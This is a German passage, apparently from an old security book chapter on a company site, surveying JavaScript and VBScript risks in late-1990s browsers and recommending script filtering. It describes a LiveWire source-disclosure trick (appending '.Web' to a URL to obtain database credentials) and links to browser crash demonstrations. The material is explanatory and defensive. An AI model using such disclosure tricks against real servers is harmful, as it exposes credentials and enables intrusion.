  • Formulareingaben konnten abgefangen werden.

Leider wurde die Funktionalität von JavaScript stark erweitert. (JavaScript ist inzwischen eine umfangreiche, mächtige Sprache.) In den letzten Monaten sind einige ernste und weniger ernste Sicherheitsprobleme zum Vorschein gekommen. Einige davon sind:

  • LiveWire- Applikationen (serverseitiges JavaScript). Ein böswilliger Benutzer kann Ihre LiveWire- Anwendungen herunterladen, indem er die Zeichenfolge .Web an die URL anhängt. Wenn Sie LiveWire- Datenbankanwendungen haben, ist dies eine ernste Sicherheitslücke. Benutzernamen und Passwörter von LiveWire- Datenbanken werden nicht verschlüsselt und erscheinen im Quellcode. Böswillige Benutzer können daher an die Benutzername/Passwort- Paare gelangen. (Versuchen Sie mal herauszufinden, wer das war! Log-Dateien sind nicht sehr hilfreich; Sie hätten Tausende Verdächtige.) 
  • Neue Bugs zur Verletzung der Privatsphäre. Böswillige Webmaster können nun Ihre Benutzername/Passwort- Paare für FTP-, POP3-, Imap- und andere Server abfangen. Weitere Informationen zu diesem Loch finden Sie hier: http://geek-girl.com/bugtraq/1998_1/0218.html 
  • Verschiedene Denial-of-Service-Attacken gegen den Communicator. Netscape Communicator 4.x und Internet Explorer 4.0 sind durch mehrere JavaScript-DoS-Attacken verletzbar. Um eine richtig seltsame zu testen (und zu sehen, wie Ihr Browser total verrückt spielt), sehen Sie einmal hier nach: http://geek-girl.com/bugtraq/1998_1/0489.htmlWenn Sie gerne demonstriert bekommen möchten, wie der Communicator mit JavaScript zum Absturz gebracht werden kann, gehen Sie zu dieser Seite: http://www.markt-und-technik.de/media/buecher/hacker/www.dhp.com/~panzer/evil.html
  • Denial-of-Service-Attacken gegen IE 4.01. Der Internet Explorer 4.01 ist durch mehrere JavaScript-Attacken verwundbar. Sie können IE zum Absturz bringen, den Verlust aller Einstellungen des Active Desktop verursachen, Stack-Fehler hervorrufen und sogar Ihren Festplattenzugriff und die Prozessorauslastung auf 100% hochjagen. Mehr Informationen darüber finden Sie hier: http://www.support.nl/~tommy/lists/ntbugtraq/0196.html-

 

VBScript

VBScript ist für den Internet Explorer das, was JavaScript für den Netscape Communicator ist. Der einzige größere Unterschied ist folgender: VBScript ist eine Untermenge einer vollständigen Programmiersprache, die normalerweise zur Erzeugung eigenständiger Anwendungen verwendet wird. VBScript ist im wesentlichen eine abgespeckte Version von Microsoft Visual Basic.

Im allgemeinen bietet VBScript dieselbe (oder noch größere) Funktionalität wie JavaScript. Es ist zum Beispiel möglich, VBScript dazu zu verwenden, eine endlose Anzahl von Fenstern zu öffnen, den Browser zu blockieren oder Formulardaten abzufangen. Bei der Mehrzahl der bislang realisierten Angriffe wurde jedoch JavaScript verwendet.

 

Abwehr von Gefahren durch Script-Sprachen

Skript-Sprachen stellen nur eine Gefahr dar, wenn Sie es zulassen. Wenn Ihre Netzwerkumgebung strenge Sicherheit erfordert, empfehle ich Ihnen, sowohl JavaScript als auch VBScript am Router zu filtern. Alternativ dazu können Sie auch einfach die Ausführung ihrer Anweisungen in Ihrem Browser deaktivieren. Eine dieser beiden Möglichkeiten sollten Sie jedoch unbedingt wählen - nur weil Sie den Skript-Quelltext in HTML sehen können, heißt das noch lange nicht, dass ein Skript schläft, bis Sie ihm ein Ereignis anbieten (wie das Klicken auf einen Button oder eine Grafik). Die meisten bösartigen Skripts werden schon beim Laden ausgeführt. Wenn Sie also einem wirklich bösartigen Skript begegnen, ist es auf jeden Fall schon zu spät für irgendwelche Abwehrmaßnahmen.

 

Zusammenfassung

Mit wachsender Funktionalität des Web werden immer mehr Sprachen und Erweiterungen entwickelt werden. In mancher Hinsicht ist das eine wunderbare Sache. Schließlich strebt man das Ziel an, transparenten Zugriff zu allen Netzwerk- und Dateiressourcen auf der ganzen Welt zu haben. Das Problem dabei ist, dass es immer schwieriger wird, für wirkliche Sicherheit zu sorgen.

Der harte Wettbewerb auf dem Markt hat zudem dazu geführt, dass die Überprüfung der Qualität der Produkte im Hinblick auf die Sicherheit vernachlässigt wurde. Das ist bislang nicht so schlimm gewesen, da noch niemand wirklich zu Schaden gekommen ist. Aber denken Sie z.B. einmal an das Online- Banking, das immer mehr genutzt wird. Vor kurzem wurde berichtet, dass eine Bank in Schottland ActiveX verwendet. Würden Sie, nachdem Sie dieses Kapitel gelesen haben, dort noch ein Konto eröffnen?

 

Home ] Nach oben ]

Senden Sie E-Mail mit Fragen oder Kommentaren zu dieser Website an: tos.computer@gmx.de 
Copyright © 2003 TOS Computer Systeme
Stand: 14. November 2004